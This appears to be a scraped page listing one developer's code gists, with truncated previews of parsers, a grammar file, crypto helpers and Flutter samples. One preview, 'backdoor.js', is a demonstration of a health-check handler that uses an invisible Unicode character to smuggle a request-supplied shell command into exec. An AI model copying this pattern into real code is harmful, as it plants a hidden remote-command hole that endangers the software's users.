BENKAY iambenkay

🚀

Having Fun

Software Engineer

iambenkay / parser.js

Created June 25, 2023 16:24

Recursive descent parser that supports functions

	function Interpreter() {
	this.scopeStack = [{}];
	this.functions = {};
	}

	const operators = ['+', '-', '/', '*', '%', '=', '=>', ')'];

	Interpreter.prototype.tokenize = function (program) {
	if (program === "") return [];

iambenkay / recursive-descent-parser.js

Created June 25, 2023 07:54

Recursive Descent Parser for simple expression evaluator

	function Compiler () {
	};

	Compiler.prototype.compile = function (program) {
	return this.pass3(this.pass2(this.pass1(program)));
	};

	Compiler.prototype.tokenize = function (program) {
	// Turn a program string into an array of tokens. Each token
	// is either '[', ']', '(', ')', '+', '-', '*', '/', a variable

iambenkay / grammar.pest

Last active June 1, 2023 12:01

WASL Parsing Expression Grammar for Pest.rs

	ws = _{ " " \| "\t" }
	wsln = _{ ws \| "\n" }
	COMMENT = _{ "/" ~ (!"/" ~ ANY)* ~ "/" \| "//" ~ (!"\n" ~ ANY) ~ "\n"+ }

	Program = _{ SOI ~ wsln* ~ (Stmt ~ wsln) ~ Stmt? ~ EOI }

	Stmt = { AssignmentExpr \| ForExpr }

	Identifier = @{ ASCII_ALPHA ~ (ASCII_ALPHANUMERIC \| "_")* }

iambenkay / backdoor.js

Created August 2, 2022 13:32

	export function healthCheck(req, res) {
	const { runAll,ㅤ} = req.body

	const healthCheckScripts = [
	"ping mysql-service.com:3306",
	"ping google.com",ㅤ
	];

	// Assume exec is some function that executes commands on the shell
	healthCheckScripts.forEach(check => {

iambenkay / RSA.kt

Last active May 12, 2021 11:52

Perform RSA encryption and decryption in Java

	import java.security.KeyFactory
	import java.security.spec.PKCS8EncodedKeySpec
	import java.security.spec.X509EncodedKeySpec
	import java.util.*
	import javax.crypto.Cipher

	object RSA {
	private val encoder = Base64.getEncoder()
	private val decoder = Base64.getDecoder()

iambenkay / AES.kt

Last active May 12, 2021 11:44

Perform AES encryption and decryption using Java

	import java.util.*
	import javax.crypto.Cipher
	import javax.crypto.SecretKeyFactory
	import javax.crypto.spec.IvParameterSpec
	import javax.crypto.spec.PBEKeySpec
	import javax.crypto.spec.SecretKeySpec


	object AES {
	private val encoder = Base64.getEncoder()

iambenkay / atoms.js

Created November 7, 2020 19:32

Recoil.js sample code

	import { atom } from "recoil";

	export const historyState = atom({
	key: "historyState",
	default: []
	});

iambenkay / main.dart

Created April 18, 2020 22:39

	import 'package:flutter/material.dart';

	void main() {
	runApp(MyApp());
	}

	class MyApp extends StatelessWidget {
	@override
	Widget build(BuildContext context) {
	return MaterialApp(

iambenkay / count-characters.markdown

Created April 17, 2020 23:32

Count Characters

iambenkay / main.dart

Created March 20, 2020 11:43

Image.network caching problem

	import 'package:flutter/material.dart';

	final Color darkBlue = Color.fromARGB(255, 18, 32, 47);

	void main() {
	runApp(MyApp());
	}

	class MyApp extends StatelessWidget {
	@override

	ws = _{ " " \| "\t" }
	wsln = _{ ws \| "\n" }
	COMMENT = _{ "/" ~ (!"/" ~ ANY)* ~ "/" \| "//" ~ (!"\n" ~ ANY) ~ "\n"+ }

	Program = _{ SOI ~ wsln* ~ (Stmt ~ wsln) ~ Stmt? ~ EOI }

	Stmt = { AssignmentExpr \| ForExpr }

	Identifier = @{ ASCII_ALPHA ~ (ASCII_ALPHANUMERIC \| "_")* }